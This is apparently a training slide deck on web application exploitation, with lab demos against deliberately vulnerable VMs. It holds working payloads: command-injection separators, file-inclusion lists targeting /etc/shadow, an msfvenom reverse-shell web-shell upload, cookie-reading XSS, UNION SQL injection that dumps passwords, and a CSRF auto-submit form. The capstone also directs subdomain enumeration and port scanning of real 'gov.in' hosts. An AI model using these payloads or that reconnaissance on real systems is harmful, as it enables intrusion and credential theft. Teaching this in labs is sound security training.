3.

WEB APPLICATION
EXPLOITATION
Internet Workflow
Web Application Working
Content Management Systems

➤ It offers a flexible, back-end interface for users to edit, modify, and publish
content on a website.

➤ Fully managed by frameworks

Hacking CMS ?

➤ Over a third of websites online are powered by four key platforms:

WordPress, Joomla, Drupal and Magento

➤ Outdated version

➤ Inexperienced Administrators

➤ Wide permissions to normal users

➤ Malicious Plugins

➤ Phishing Attempts

➤ Few are open source

 Case Study

Threat Actor attempt to compromise WordPress

https://github.com/vavkamil/dvwp
https://www.wordfence.com/blog/2018/12/wordpress-botnet-attacking-wordpress/
Custom Code (from scratch)

➤ Developer implements the designs / workflow as per the requirement of

the project

➤ Ease of fulfilling the updates as per the requirement

➤ However, small update needs to be fixed by a professional developer

Hacking websites made from scratch?

➤ Overly mis-configured setup

➤ Bad business logic

➤ Vulnerable libraries in the languages

➤ Integration with multiple other frameworks / languages

➤ Chaining multiple vulnerabilities

➤ Other attack vectors

Mapping Attack Surface

➤ Attack surface analysis is the mapping of part of a web application that

needs to be analysed and tested for security vulnerabilities.

➤ Used by security researchers to understand the in-depth working of the

web app

➤ The main aim is to identify the attack vectors that can be leveraged
externally
 Web Application

Technology Design Function

Public Users
Attack Point
Privileged Users

External-facing • Purpose
• Implementation
Attack Point • Design
Internal-facing
• Technology
➤ Points worth investing time at :

■ Login/Logout Fields

■ Admin Spaces

■ Logic Workflow

■ Files uploaded by users

■ Extranet interfaces (if any)

■ Communication with other applications / systems via interfaces

■ Custom implemented protocols / APIs etc

■ Critical libraries like : Authentication / Authorization / Session

management etc
➤ Validate the findings:

■ Enumeration is the key, take your time to analyse the application

workflow

■ Identify mis-configurations that are not baselining with the standards

■ Identify the risk associated with the identified mis-configurations

■ Perform Penetration Testing (discussion in the next section)

■ Validate the findings

■ Document & Report as required

 EXPLOITATION
Server-Side Vulnerabilities

File Upload
Directory Server-side SQL Injection Information
Traversal Request Forgery Disclosure
(SSRF)
Command Client-Side Vulnerabilities
Injection

Clickjacking
Cross-side Cross-Origin
Request Forgery Resource Sharing
(CSRF) (CORS)
Cross-site Scripting
(XSS)
Understanding the Request-Response Model

➤ The Accounting of who, what and

when made the request is not done
on the connection endpoints.

➤ In Simple Words, Each request is

replied with a response which is not
accounted on the either connection
endpoints.

➤ Example of the Request-Response

Model can be seen in the figure.
Introduction to Web Proxy

➤ Web Proxy will be used in this

session in order to understand the
very basic of the
Request-Response Model.

➤ In this case, we will be using:

■ Burpsuite

■ Foxy-Proxy
Introduction to Burpsuite

➤ Burpsuite is a tool written by PortSwigger

which has extensive features but for this
session we will limit the tool capability to
proxy interceptor through which we will
intercept the request sent by the client
(Browser) and response given by the Server
Side (server).

➤ Burpsuite comes installed in Parrot and can

be found under the category of Web
Application Analysis.
Burpsuite Proxy for intercepting Request and Response

➤ We need to go to the proxy and

switch on the intercept function in
order to intercept the request that is
made to server.

➤ We can see all the HTTP Verbs

Understanding HTTP Request

➤ When we type the URL in our browser and hit enter in order to see the web
page our browser makes a HTTP Request.

A typical HTTP Request looks like

HTTP Request Method

➤ HTTP defines a set of request methods to indicate the desired action to

be performed for a given resource. These are the following HTTP
methods that are frequently used:

➤ GET: GET method is basically used to retrieve the data.

➤ POST: POST method is used when user wants to submit entity to

specified resource.

➤ PUT: PUT method is used when user want to replace whatever currently
exists at the target URL with something else.
HTTP Request Method

➤ HEAD: HEAD method is identical to GET method but the HEAD Method is
made only to retrieve only HEAD without the Body in the response.

➤ DELETE: DELETE method is used to delete the specified resource.

➤ CONNECT: CONNECT method is used to create a tunnel to the server

identified by the target resource.

➤ OPTIONS: OPTIONS method is used to describe the communication

options for the target resource.
HTTP Request Method

➤ TRACE: TRACE method performs a message loop-back test along the

path to the target resource.

➤ PATCH: PATCH method is used to apply partial modifications to a

resource.

Quick Tip: We can use CURL command with the option to perform a ‘OPTION’
method which can provide all the methods that are allowed on a specific
resource.

Command: curl –v –X OPTIONS https://example.com

HTTP HOST Header

➤ The Host request header specifies the domain name of the server and
the TCP port number on which the server is listening.

➤ If the Request is made to the web server with the HTTPS protocol the
default Syntax is used.

➤ SYNTAX of HOST HEADER: Host: <host>:<port>

HTTP User Agent Header

➤ User-Agent request header is a characteristic string that lets servers and

network peers identify the application, operating system, vendor, and/or
version of the requesting user agent.

➤ Syntax for the User-Agent is:

User-Agent: <product> / <product-version> <comment>
HTTP Accept Header

➤ The Accept request HTTP header advertises which content types, expressed
as MIME types, the client is able to understand. (By Client we mean
Browser)

➤ MIME: Multipurpose Internet Mail Extensions is a standard that indicates the

nature and format of a document, file, or assortment of bytes.
HTTP Accept-Language Header

➤ The Accept-Language request HTTP header advertises which languages

the client is able to understand, and which locale variant is preferred.

➤ For Instance our browser (client) can understand: en-US (US english)
HTTP Accept Encoding Header

➤ The Accept-Encoding request HTTP header advertises which content encoding,

usually a compression algorithm, the client is able to understand.

➤ In order to send large data over the HTTP protocol the data is encoded. The
Browser or the client specifies the encoding algorithm that are accepted.

➤ In this case, Accept-encoding is gzip format.

HTTP Connection Header

➤ The Connection general header controls whether or not the network

connection stays open after the current transaction finishes. If the value
sent is keep-alive, the connection is persistent and not closed, allowing for
subsequent requests to the same server to be done.

➤ In this case we have the Connection: Close as the connection is closed

after the current transaction.
 HTTP Cookie Header

➤ The Cookie HTTP request header contains stored HTTP cookies previously
sent by the server with the Set-Cookie header.

➤ This sent by the browser which contains the cookie sent by the server.

➤ Syntax of the Cookie Header: Cookie: name=value; name2=value2;

name3=value3
Other HTTP Request Header

➤ There are many HTTP Request Header which can be used to send a HTTP
Request to the Server.

More HTTP Request Header can be checked on the Website:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
Understanding HTTP Response

➤ A typical HTTP Response Headers looks like the headers shown in the
below figure.
HTTP Response Code

➤ Server replies with a response code which informs the browser that what
type of response is sent by the Server.
FoxyProxy: Proxy Management tool

➤ FoxyProxy is an advanced proxy management tool that completely

replaces Firefox's limited proxying capabilities.
Configuring FoxyProxy

➤ We just need to go to the options bar and click it and we will be greeted
with the options to configure FoxyProxy.
Adding a proxy configuration in FoxyProxy

➤ We need to provide all the options that required to configure and add proxy.
And we are done we just need to Switch on the Proxy
Lab Setup

➤ 2 Machines are required for the below exercises

➤ Make sure that the metasploitable VM is ready & accessible from Parrot
Machine.

➤ Double check the network connectivity between parrot & metasploitable

machine

➤ Replicate all the exercises step by step for each section.

Web Exploitation

➤ It is the exploitation of the services in the web or internet which can be

easily accessed.

➤ To control the website or web application code that allows the attacker to
gain some level of control of the site is referred to the term “Web
Exploitation”.

➤ And to find out vulnerabilities existing in a website or web application is

called web pentesting.

➤ Web pentesting can be done through automated scanners and manully &
both have it’s own pros and cons, we will figure that out in a moment.
➤ The server which hosts the website is called web server and typically
listens on TCP port 80. In some cases, the service could be configured to
run on ports other than the default one, as a small step towards security.

➤ The client via browser, connects to the port and hence they can
communicate or transfer data between each other.

➤ While communicating the Web service responds by providing the

requested content, such as HTML, JavaScript, etc.

➤ The webserver communicated with database server at the backend to

fetch contents from the database.
➤ The set of rules or protocols used to communicate between the server and
client runs on Layer 7 in the OSI model.

➤ The encryption between both sides is done at presentation layer. Hence,

the HTTPS (secure socket layer) works at layer 6.
➤ There are multiple vulnerabilities or misconfigurations in the website
which allows the attacker to compromise the website & even the server in
which it is running.

➤ We will discover and understand such vulnerabilities and see how to

exploit these vulnerabilities.

➤ Remember, a vulnerable web server can be the entry point of an attacker

to the network and it can be used to spread the infection by
compromising the client accessing it.

➤ Hence, it becomes important to secure the website or web application.

➤ Sometimes silly mistakes from the developer can result in disastrous
scenarios.

➤ Following mistakes are common:

■ Unintendedly password found at the source page of the website.
■ Sensitive information left at public pages.
■ Giving detailed information of the internal servers to the clients upon
querying.

➤ It might happen that the CMS (Content Management service) running at

the server end is not patched and running older versions.

➤ One can find the vulnerable CMS version using query and then can search
for any public available websites.
➤ The following vulnerabilities will be covered in the next slides: -
■ Cross Site Scripting
■ SQL Injection
■ Code Injection vulnerability
■ File inclusion
■ Bruteforce website parameters/fields
■ File Upload vulnerability

➤ All the above mentioned vulnerabilities are of high severity and reputed
companies like facebook, google etc. provide bounties when disclosed to
them.
➤ Code Injection Vulnerability: -
It generally occurs when there is an input parameter field at a website. The goal
is to execution of arbitrary commands on the host operating system via a
vulnerable application. It must be noted that it is possible when an application
passes unsafe user supplied data to a system shell.

■ It can be used to compromise other parts of the network and then pivot to
other systems within the organizations.

■ It can lead to full takeover of the web server running the website.

■ Also, knowledge of the backend OS is must to execute system commands.

➤ As previously mentioned it can lead to full control of the server and
then be used to establish a stable shell for communication.

Source: https://portswigger.net
Demo

Server vulnerable to
Attacker Machine command execution
IP: 192.168.100.140 IP: 192.168.100.141
➤ There is a ping utility which takes an IP address as an input and check
whether it is alive or not.

➤ As you might have stumbled upon that this utility is written in PHP (a
popular server language). Let’s check the source code of the handling PHP
code.
➤ Code starts with checking the input given to the field in form of IP address
& the OS running in the server side.

➤ If the OS is Windows run ‘ping’ command

directly with the input IP given.

➤ On other case, just run the ping command

only 3 times.

➤ However it can be clearly seen that there

is no input validation in this roughly written
code and it can have command injection vulnerability.
➤ Check the working of the PHP program that we have just focused upon by
running it with an IP address as an input.

➤ The ping command runs 3 times which means that the backend OS is not
Windows OS, it might be any Linux server.
➤ Now, try to execute any other command while giving IP address as an
input & there are 2 ways to execute simultaneous command at a time.
Example: -
ls; whoami
ls | whoami

➤ The first command will execute both commands and the second one only
the last command.
➤ Case 1: - <IP address> ; Injection_command

➤ The command injection works and our command is executed at the web
server.
➤ Case 2: <IP address> | Injection_command

➤ Only the backend command is executed in this case, hence one can also
establish a communication channel or deliver payloads directly to the web
server because of this vulnerability.
➤ File Inclusion Vulnerability: -
This is because of misconfiguration of the developer writing the
application to inclusion of a file. The local files of the systems according to
the Operating System can be included directly from the web application
leading to sensitive information disclosure.

■ This vulnerability works on a parameter operating page means it requires a

parameter to include the local files.

■ Also, the accessibility depends on the permissions configured on a file.

■ Generally sensitive files containing passwords can be disclosed by including

it in the path.
➤ It is also named directory traversal vulnerability.

Source: https://portswigger.net

➤ Here is the list of some of the important files to look for once the
vulnerabilities are identified.
➤ Payload list if the target server is Windows: -

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml

➤ More payload list can be found here.

➤ Payload list if the target server is Linux: -

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp

➤ More payload list can be found here.

➤ These files contain sensitive information and must be looked upon.
Demo

Server vulnerable to
Attacker Machine Directory Traversal
IP: 192.168.100.140 IP: 192.168.100.141
➤ Head straight to the following URL: -

➤ It fulfils one condition and that is the presence of a parameter ‘page’.

➤ Let’s check if the server is vulnerable to file inclusion vulnerability by

looking at the source code of the web application.
➤ It do not perform any checks and directly handles the parameter with
‘GET[]’ PHP function.

➤ Knowledge of the target server should be done thoroughly.

➤ Query the ‘/etc/passwd’ file by specifying it in the parameter.

➤ It doesn’t matter if the website uses HTTP or HTTPS for communication.

➤ We can access the passwd file and the usernames are disclosed.

➤ Likewise any files based on the

configured permissions can be
accessed directly from the browser.

➤ Access to credentials in a file is real

gold and must be focused upon.

➤ There might be chances that

directory traversal can be achieved
by encoding the parameter query.
➤ Upload Vulnerability: -
We have seen many websites which asks for important documents like
marksheet etc. and these needed to be uploaded to the server. This poses a
great risk of security in case of improper validation of the file uploaded to
the server.

■ Social networking websites like Facebook, Twitter & Instagram allow users to
upload images and videos.

■ In case of improper validation of files, the attacker can upload malicious files to
the server which can lead to full compromise and access to sensitive
information present in the server.
➤ Generally, web shells are uploaded to the server ends.

➤ The web shells are program that allows an attacker to perform various
malicious operations such as running shell commands, creating files,
deleting files, downloading sensitive files etc.

➤ Let’s fire up msfvenom to generate our payload which we will upload to

the server and try to take control over it.

➤ Remember, you may need to bypass Anti-virus running on the server, in

case the files are uploaded (that we will cover in next modules).
Demo

Server vulnerable to Arbitrary file

upload
Attacker Machine
IP: 192.168.100.141
IP: 192.168.100.140
➤ Check which files are permitted to upload on the server, from the below
image it is seen that only image files are whitelisted. Really???

➤ Let’s try to bypass it with any other extension, the code to upload the file is
written in PHP, it also tells the path in which file should be uploaded.

Note: Disclosure of any server directory to the end user can pose huge risk .
➤ The PHP code which upload the file to the server has a misconfiguration
as the file type is not checked anywhere.

➤ Generate a msfpayload in PHP format which is discussed previously.

 msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.100.140 LPORT=
443 -f raw > gift.php

➤ Once the payload is generated and saved in a PHP file, start a listener on
metasploit.

➤ Knowledge of the target OS and architecture is must before generating the

payload.
➤ After the payload is set similar to the one with which we have generated
the payload, configure the options.

➤ Start the listener on port 443, this must be the same during payload
generation.
➤ Upload the malicious PHP payload to the server.

➤ The path with the exact file name is also disclosed at the portal, now once
uploaded our shell is just one click far away.

➤ Execute the payload through the path shown in the URL.

➤ The uploaded file can be executed from the URL path itself shown below: -

➤ Just as we execute the payload on the target server, we get a session

connection between attacker machine & client machine.
➤ Cross Site Scripting
It is type of improper input validation vulnerability in which the attacker
injects client-side scripts into the web pages.

■ It is one of the most common vulnerability found in the web application.

■ A cross-site scripting vulnerability may be used by attackers to bypass access

controls.

■ In Addition, the attacker can send input (e.g., username, password, session ID,
etc) which can be later captured by an external script.
➤ The victim's browser has no way to know that the script should not be
trusted, and will execute the script. Because it thinks the script came from
a trusted source, the malicious script can access any cookies, session
tokens, or other sensitive information retained by the browser and used
with that site.

➤ Cross-site scripting vulnerabilities

normally allow an
attacker to masquerade
as a victim user, to carry out
any actions that the user is
able to perform, and to access
any of the user's data.
➤ Types of XSS:
■ Reflected XSS
■ Stored XSS
■ DOM-based XSS

➤ We will study Reflected & Stored XSS in the course, DOM based XSS is out
of scope.

➤ Reflected XSS is the simplest way od cross-site scripting. It arises when an

application receives data in an HTTP request & includes the input data
within immediate response in an unsafe way.

➤ Let’s take an example of reflected XSS. We have a URL let’s say –

https://insecure-site.com/status?message=This+is+good.
➤ It takes the input from the end user & then reflect the entered input to the
screen.
<p>Status: This is good.</p>

➤ The application doesn’t perform any other processing of data, so an

attacker can construct a query like this: -

https://insecure-site.com/status?message=<script>/*+Bad+stuff+here+*/
</script>

➤ This can have disastrous consequences as this crafted link can be sent to
the victim and attacker can execute it’s own Java Script targeting the
user.
<p>Status: <script>/* Bad stuff here */</script></p>
Demo – Reflected XSS

Server vulnerable to Reflected

Attacker Machine XSS attack
IP: 192.168.100.140 IP: 192.168.100.141
➤ An input field is given at the target website. Let’s look at the response if
we input any data here.

➤ When the input parameter is tested with an input data, we get the
following result: -
➤ Means output is reflected & the application do not perform any other
processing of data. The parameter is also identified by looking at the URL: -

➤ Let’s try to control the application flow using some Java Script code, which
simply pop/alert in a given user reference. Ex: <script>alert(1)</script>

➤ We are able to control the

application by manipulating
this vulnerable website so that it
returns malicious JavaScript to users.
➤ Also, various sensitive information like user credentials and session cookie
can also be reflected using this vulnerability. Let’s look at it: -

➤ The payload used is: <script>alert(document.cookie)</script> & the

session cookie is reflected for the user session.
Demo – Stored XSS

Server vulnerable to Stored XSS

Attacker Machine attack
IP: 192.168.100.140 IP: 192.168.100.141
➤ For stored XSS to work first there is a need to locate a vulnerability in the
web application & then inject malicious script to the server.

➤ Once the malicious code is injected in the vulnerable website, the

malicious script is activated & the visitor browser unintentionally runs the
script.
➤ It is mainly found on website that allows users to share content, blogs &
message boards.

➤ Every time the infected page is visited, the malicious script injected by
the attacker is transmitted to the victim browser.

➤ The script embedded/hooked in the vulnerable application can be

malicious depending upon the intent of the attacker.

➤ Let’s now have a look at the lab setup for this case scenario: -
➤ There are two input parameters ‘Name’ & ‘Message’ in the webpage
affected with stored XSS.

➤ After checking for input data reflection, it is seen that both ‘Name’ &
‘Message’ parameter are reflected, however there is a limit set for
‘Name’ parameter.
➤ Let’s try to inject our malicious payload to test XSS in the ‘Message’ field.

➤ Now if we input the ‘Name’ & send the information, the value of ‘Message’
box will reflect & we can see that our injected payload will work.

➤ The interesting thing here is that if you try to browse any other page and
then return to the stored XSS vulnerable page, you will get your malicious
code running.
➤ This happens each & every time the victim visits the vulnerable page.

➤ This will stop when the user session ID expires & he need to re-enter the
input.
➤ SQL Injection: -
SQL injection is a web security vulnerability that allows an attacker to
interfere/manipulate with the queries that an application makes to its
database. Basically it is a code injection technique that exploits a security
vulnerability in an application's software.

■ It allows an attacker to view/modify data that are now allowed to be

accessed by anyone but except the administrator itself.

User’s request to Serv

retrieve information er a
usin ccess th
g SQ e
L qu DB
ery
Requested information
is provided to the user Retri
eved
back info is se
to se n
rver t
➤ The vulnerability happens when user input is either incorrectly filtered for
characters embedded in SQL statements or user input is not strongly
typed and unexpectedly executed.

Reference: portswigger.net

➤ A successful SQL injection may lead to unauthorized access to sensitive

data, such as passwords, personal details, bank information etc.
 Attacker request for
information + Serv
er a
Malicious SQL query usin ccess th
g SQ e
L qu DB
er y
Requested information
is provided to the user Retri
eved
back info is se
to se n
rver t

➤ Basically, this happens because of improper input validation in the user end.
➤ There might be some kind of logical error that the attacker exploit to retrieve
sensitive information from the database.
➤ Let’s learn some of the basic SQL commands to get started with exploiting SQL
server.
➤ SQL command basics: -

■ ‘AND’, both conditions must be true to be included in the result.

■ ‘OR’ any one condition must be true to be included in the result.
■ ‘SELECT’ to fetch data from database
■ ‘WHERE’ to filter result & to include only rows where the given condition is
true.
■ ‘UNION’ to combine the result of two or more SELECT statements.
Demo – SQL Injection

Server vulnerable to SQL

Attacker Machine Injection
IP: 192.168.100.140 IP: 192.168.100.141
➤ We have an input field which is asking for USER ID as input & displays
some information associated with it.

➤ Let’s enter ‘1’ as input to the given field and check the response. Also, it
must be noted that the application uses SQL query to connect to the
backend database.

➤ Try to find out all the USER ID’s available in the database.
➤ After, entering number 1 to 5 as input in the field the following
information is displayed by the server.

➤ The backend SQL code looks as follows: -

➤ It can be identified that the dynamic parameter is ‘ID’ & Name, surname
are the parameters that distinguish them. So the query which gets
executed at the backend is: -
SELECT first_name, last_name FROM users WHERE user_id =‘1’

➤ Let’s try to test any SQLi possibilities with Always True scenario, use the
following payload: -
$’ or ‘1’=‘1

➤ $’ is not equal to anything & is always false. However, ‘1’=‘1’ is an always

true condition combining it with ‘or’ clause makes it a true condition.

➤ The output is the list of all available username associated with the user ID.
➤ It can be seen that there are total of 5 entries in the database.

➤ Now, to identify the database & it’s version running at backend, the error
shows that the backend database is SQL
➤ We will use the ‘union’ query to execute more than 2 statements at same
time.
6767’ or 5=1 union select null, version()#

➤ 6767 is a random input type & ‘ [single quote] is for termination of first
query.

➤ 5=1 is a false statement & is needed for union statement execution.

➤ null is just a placeholder because the 1st query has 2 fields labelled
First_Name & surname. We have 2 positions to fill but we need only 1.
Hence, null is placed.

➤ Version() returns the version of MySQL() instance.

➤ The version is seen as follows: -

➤ The user context with which the service is running can also be identified.

6767’ or 5=1 union select null, user()#

1st Query 2nd Query

➤ The user() function will list the context with which the service is running.

➤ The SQL service at the server is running as root (high privileged user).

➤ We will try to identify the database name using the database() function.
The whole query would be the same & we need to add the above function
to it.
 6767’ or 5=1 union select null, database()#
➤ ‘dvwa’ is the name of the database which is connected to the vulnerable
application.

➤ Let’s now enumerate the tables that this database contain. The
information_schema.tables is a mysql table that contains list of tables
in a database.
➤ The table_name returns the names of tables in the database.
➤ Let’s alter our query which will include all the tables from the identified
database.

6767’ or 5=1 union select null, table_name FROM

information_schema.tables #
➤ Also, there is a list of ‘users’ table in the database, we will try to list out the
columns of this table & identify the information from it.

➤ information_schema.columns contains all the columns in a table.

➤ To list the columns in the ‘users’ database we will use ‘column_name’.

The altered query would be: -

6767’ or 5=1 union select null, column_name FROM

information_schema.columns where table_name = ‘users’ #
➤ The users database have the following table names. We have found
the user & password field let’s fire the gameover query.
➤ Let’s first list out all the users available in the ‘user’ column from the
‘users’ table. We will use the following query: -

6767’ or 5=1 union select null, user FROM users#

➤ Since, we have knowledge about the field available in the table, we can
also list out passwords as follows: -

6767’ or 5=1 union select null, password FROM users#

➤ To list both username & password simultaneously, we can use concat()
function as follows: -

6767’ or 5=1 union select null, concat(user, 0x0a, password) FROM users#
➤ Information Disclosure
It is type of information leakage, when a website exposes sensitive
information to the end users un-intentionally.

■ Any critical information like PII, patient records, business information etc

■ Information about infrastructure setup etc

■ Access to Old website backups / logic revelation etc

Hands-on
Demonstration

Information
Disclosure
➤ Cross Site Request Forgery

It allows an attacker to force users (unintentionally) to perform actions that

are risky.

■ Based on identification of the induced flow, attacker craft special request &
somehow induce users to click on the link.

■ Actions like re-setting password, changing emails, full-take over of an

application etc.

■ Applications have session cookies to identify the user requests. However, the
tracking of user session remains unmanaged.
 <CAPTURED REQUEST>
POST /email/change HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=aksgdg7ewgfkljaslkgfpiwept

email=master@admin-user.com

<HTML CODE>
<html>
<body>
<form action="https://vulnerable-app.com/email/change"
method="POST">
<input type="hidden" name="email"
value=”fake_user@xyz.net" />
</form>
<script> document.forms[0].submit();</script>
</body>
</html>
Hands-on
Demonstration

CSRF
➤ Misconfigured Cross Origin Resource Sharing

It allows controlled access of the resources located outside of a given

domain

■ Websites uses CORS mechanism to whitelist request originating from

sub-domains & trusted websites

■ The header name is “Access-Control-Allow-Origin”

■ Attackers can validate this using a simple header injection & access
sensitive information presented to whitelisted domains by the website.
 GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-app.com
Origin: https://malicious-site.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin:
https://malicious-site.com
Access-Control-Allow-Credentials: true ...

➤ In the above example, the above response header states that access is
allowed from the attacker-controlled domain
➤ Also, the attacker can steal the sensitive information as the CORS setup is
mis-configured
CORS
➤ Click Jacking

End-users are lured by deceiving links on a vulnerable website. Generally

contains a hidden link in a well crafted button.

■ Attackers will re-direct you to a website in which they will get financial gain,
sensitive information etc

■ They might try to install a malicious software stating wrong information

■ The websites are crafted very well in such a manner it is difficult to identify the
legit one
Hands-on
Demonstration

Demonstration of IDN
Homograph Attack
Module 3 : Capstone Project

➤ Download DVWA locally in VM & exploit all the OWASP top 10 vulns

➤ Try & Document exploitation of Code Injection in DVWA with easy to Hard
level expertise. Share it in PDF format.

➤ Enumerate identities of “gov.in” using crt.sh, utilize tools like amass,

subfinder to obtain a list of subdomains

➤ Use “httpx” to check for top 1000 port across all the subdomains &
submit it as a list in excel file.
 Thank You
For Professional Red Team / Blue Team / Purple Team,
Cloud Cyber Range labs / Courses / Trainings, please contact

info@cyberwarfare.live

To know more about our offerings, please visit:

https://cyberwarfare.live